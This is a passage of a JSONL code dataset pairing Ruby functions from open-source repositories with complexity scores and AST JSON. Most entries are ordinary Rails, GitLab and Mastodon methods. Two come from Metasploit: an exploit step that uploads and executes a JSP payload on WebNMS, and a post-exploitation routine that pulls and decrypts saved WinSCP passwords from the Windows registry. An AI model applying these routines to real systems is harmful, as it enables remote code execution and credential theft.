etails[y1]\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cropDetails[width]\"]},{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cropDetails[height]\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cropDetails[dst_width]\"]},{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cropDetails[dst_height]\"]},{\"type\":\"int\",\"children\":[300]}]}]}]}]}]}]}]}]}","id":"7e6688ee-1177-4333-a8af-aded65e5c771"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/webnms_file_upload.rb","start_line":195,"raw_source":"def exploit\n    @my_target = pick_target\n    if @my_target.nil?\n      print_error(\"#{peer} - Unable to select a target, we must bail.\")\n      return\n    else\n      print_status(\"#{peer} - Selected target #{@my_target.name}\")\n    end\n\n    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.\n    # Fail if this is the case and ask the user to select an appropriate payload.\n    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/\n      fail_with(Failure::BadConfig, \"#{peer} - Select a compatible payload for this Linux target.\")\n    end\n\n    jsp_payload = generate_jsp_payload\n    jsp_name = upload_payload(jsp_payload, true)\n    if jsp_name.nil?\n      fail_with(Failure::Unknown, \"#{peer} - Payload upload failed\")\n    else\n      register_files_for_cleanup('jsp/' + jsp_name)\n    end\n\n    print_status(\"#{peer} - Executing payload...\")\n    send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),\n      'method' => 'GET'\n    )\n  end","complexity_score":37.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@my_target\",{\"type\":\"send\",\"children\":[null,\"pick_target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to select a target, we must bail.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Selected target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Select a compatible payload for this Linux target.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"jsp_payload\",{\"type\":\"send\",\"children\":[null,\"generate_jsp_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jsp_name\",{\"type\":\"send\",\"children\":[null,\"upload_payload\",{\"type\":\"lvar\",\"children\":[\"jsp_payload\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsp_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Payload upload failed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"jsp/\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Executing payload...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"jsp\"]},{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]}]}","id":"397f744e-2874-4545-89b7-16d8a4a4aec1"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/salesforce_consumer_goods_cloud/client.rb","start_line":71,"raw_source":"def initialize_client(config)\n            config = config.with_indifferent_access\n            @client = Restforce.new(username: config[:username],\n                                    password: config[:password] + config[:security_token],\n                                    host: config[:host],\n                                    client_id: config[:client_id],\n                                    client_secret: config[:client_secret],\n                                    api_version: API_VERSION)\n          end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_client\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Restforce\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"security_token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_secret\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_version\"]},{\"type\":\"const\",\"children\":[null,\"API_VERSION\"]}]}]}]}]}]}]}","id":"8d8697ed-682d-45e8-9196-e4a23c215db4"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/capture_helper_test.rb","start_line":214,"raw_source":"def test_with_output_buffer_restores_the_output_buffer\n    buffer = ActionView::OutputBuffer.new\n    @av.output_buffer = buffer\n    @av.with_output_buffer do\n      @av.output_buffer << \".\"\n    end\n    assert buffer.equal?(@av.output_buffer)\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_output_buffer_restores_the_output_buffer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"OutputBuffer\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@av\"]},\"output_buffer=\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@av\"]},\"with_output_buffer\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@av\"]},\"output_buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"equal?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@av\"]},\"output_buffer\"]}]}]}]}]}","id":"b2767832-ebbb-4e03-832d-afef7ca95682"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb","start_line":19,"raw_source":"def drop\n        file = ConnectionAdapters::SQLite3Adapter.resolve_path(db_config.database, root: root)\n        FileUtils.rm(file)\n        FileUtils.rm_f([\"#{file}-shm\", \"#{file}-wal\"])\n      rescue Errno::ENOENT => error\n        raise NoDatabaseError.new(error.message)\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"drop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionAdapters\"]},\"SQLite3Adapter\"]},\"resolve_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_config\"]},\"database\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[null,\"root\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_f\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\"-shm\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\"-wal\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoDatabaseError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},null]}]}","id":"7706517b-05b5-4b41-9987-50325f3bb4fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/stats_object.rb","start_line":135,"raw_source":"def self.build_from_hash(attributes)\n      new.build_from_hash(attributes)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"build_from_hash\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}","id":"cd588b68-471d-4b11-b6c0-58f7110df069"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/external_username_sanitizer.rb","start_line":12,"raw_source":"def sanitize\n        # remove most characters illegal in usernames / slugs\n        slug = Gitlab::Slug::Path.new(external_username).generate\n\n        # remove leading - , _ , or . characters not removed by Namespace.clean_path\n        slug = slug.sub(/\\A[_.-]+/, '')\n\n        # remove trailing - , _ or . characters not removed by Namespace.clean_path\n        # hard to write a regex to match end-of-string without ReDoS, so just use plain Ruby\n        slug = slug[0...-1] while slug.end_with?('.', '-', '_')\n\n        # remove consecutive - , _ , or . characters\n        slug = slug.gsub(/([_.-])[_.-]+/, '\\1')\n\n        slug = unique_by_namespace(slug)\n\n        validated_path(slug)\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Slug\"]},\"Path\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"external_username\"]}]},\"generate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[_.-]+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([_.-])[_.-]+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[null,\"unique_by_namespace\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validated_path\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]}","id":"ebb9015e-c273-4588-a1f3-41d7327d4c06"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/winscp.rb","start_line":44,"raw_source":"def get_reg\n    # Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.\n    regexists = 0\n\n    userhives = load_missing_hives\n    userhives.each do |hive|\n      next if hive['HKU'].nil?\n\n      master_key = \"#{hive['HKU']}\\\\Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Configuration\\\\Security\"\n      masterpw = registry_getvaldata(master_key, 'UseMasterPassword')\n\n      # No WinSCP Keys here\n      next if masterpw.nil?\n\n      regexists = 1\n      if masterpw == 1\n        # Master Password used to add AES256 encryption to stored password\n        print_error(\"User #{hive['HKU']} is using a Master Password, cannot recover passwords\")\n        next\n\n      else\n        # Take a look at any saved sessions\n        savedpwds = 0\n        session_key = \"#{hive['HKU']}\\\\Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions\"\n        saved_sessions = registry_enumkeys(session_key)\n        next if saved_sessions.nil?\n\n        saved_sessions.each do |saved_session|\n          # Skip default settings entry\n          next if saved_session == 'Default%20Settings'\n\n          active_session = \"#{hive['HKU']}\\\\Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions\\\\#{saved_session}\"\n          password = registry_getvaldata(active_session, 'Password')\n          # There is no password saved for this session, so we skip it\n          next if password.nil?\n\n          savedpwds = 1\n          portnum = registry_getvaldata(active_session, 'PortNumber')\n          if portnum.nil?\n            # If no explicit port number entry exists, it is set to default port of tcp22\n            portnum = 22\n          end\n\n          encrypted_password = password\n          user = registry_getvaldata(active_session, 'UserName') || ''\n          fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ''\n          sname = parse_protocol(fsprotocol)\n          host = registry_getvaldata(active_session, 'HostName') || ''\n\n          plaintext = decrypt_password(encrypted_password, \"#{user}#{host}\")\n\n          winscp_store_config({\n            hostname: host,\n            username: user,\n            password: plaintext,\n            portnumber: portnum,\n            protocol: sname\n          })\n        end\n\n        if savedpwds == 0\n          print_status('No Saved Passwords found in the Session Registry Keys')\n        end\n      end\n    end\n\n    if regexists == 0\n      print_status('No WinSCP Registry Keys found!')\n    end\n    unload_our_hives(userhives)\n  end","complexity_score":91.88,"ast_json":"{\"type\":\"def\",\"children\":[\"get_reg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regexists\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"userhives\",{\"type\":\"send\",\"children\":[null,\"load_missing_hives\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userhives\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hive\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HKU\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"master_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HKU\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Configuration\\\\Security\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"masterpw\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"master_key\"]},{\"type\":\"str\",\"children\":[\"UseMasterPassword\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masterpw\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"regexists\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masterpw\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HKU\"]}]}]},{\"type\":\"str\",\"children\":[\" is using a Master Password, cannot recover passwords\"]}]}]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"savedpwds\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"session_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HKU\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"saved_sessions\",{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"lvar\",\"children\":[\"session_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved_sessions\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved_sessions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"saved_session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved_session\"]},\"==\",{\"type\":\"str\",\"children\":[\"Default%20Settings\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"active_session\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HKU\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved_session\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"active_session\"]},{\"type\":\"str\",\"children\":[\"Password\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"savedpwds\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"portnum\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"active_session\"]},{\"type\":\"str\",\"children\":[\"PortNumber\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portnum\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"portnum\",{\"type\":\"int\",\"children\":[22]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"encrypted_password\",{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"active_session\"]},{\"type\":\"str\",\"children\":[\"UserName\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fsprotocol\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"active_session\"]},{\"type\":\"str\",\"children\":[\"FSProtocol\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sname\",{\"type\":\"send\",\"children\":[null,\"parse_protocol\",{\"type\":\"lvar\",\"children\":[\"fsprotocol\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"active_session\"]},{\"type\":\"str\",\"children\":[\"HostName\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[null,\"decrypt_password\",{\"type\":\"lvar\",\"children\":[\"encrypted_password\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"winscp_store_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"portnumber\"]},{\"type\":\"lvar\",\"children\":[\"portnum\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"lvar\",\"children\":[\"sname\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"savedpwds\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No Saved Passwords found in the Session Registry Keys\"]}]},null]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexists\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No WinSCP Registry Keys found!\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"unload_our_hives\",{\"type\":\"lvar\",\"children\":[\"userhives\"]}]}]}]}","id":"984f7d70-6943-48dd-b2f8-846dab4b0b6d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/after_unallow_domain_worker.rb","start_line":6,"raw_source":"def perform(domain)\n    AfterUnallowDomainService.new.call(domain)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AfterUnallowDomainService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}","id":"ee06d14f-3f95-4c04-ab7a-c10b44e24e7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/access_tokens_actions.rb","start_line":43,"raw_source":"def revoke\n    @resource_access_token = finder.find(params[:id])\n    revoked_response = ResourceAccessTokens::RevokeService.new(current_user, resource, @resource_access_token).execute\n\n    if revoked_response.success?\n      flash[:notice] =\n        format(_(\"Revoked access token %{access_token_name}!\"), access_token_name: @resource_access_token.name)\n    else\n      flash[:alert] =\n        format(_(\"Could not revoke access token %{access_token_name}.\"), access_token_name: @resource_access_token.name)\n    end\n\n    redirect_to resource_access_tokens_path\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource_access_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"finder\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"revoked_response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceAccessTokens\"]},\"RevokeService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]},{\"type\":\"ivar\",\"children\":[\"@resource_access_token\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revoked_response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"n